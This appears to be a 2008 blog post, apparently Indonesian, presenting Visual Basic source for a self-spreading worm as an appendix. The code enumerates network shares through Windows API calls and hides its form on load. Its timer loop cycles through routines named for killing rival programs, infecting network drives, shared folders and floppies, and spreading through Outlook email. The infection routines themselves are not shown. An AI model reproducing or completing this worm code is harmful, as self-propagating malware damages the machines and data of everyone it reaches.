Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1
Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function
Lampiran B
‘Form ff
Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer
Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub
Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub
Thursday, April 10, 2008
Wednesday, April 9, 2008
Tuesday, April 8, 2008
Tuesday, April 1, 2008
Subscribe to:
Posts (Atom)








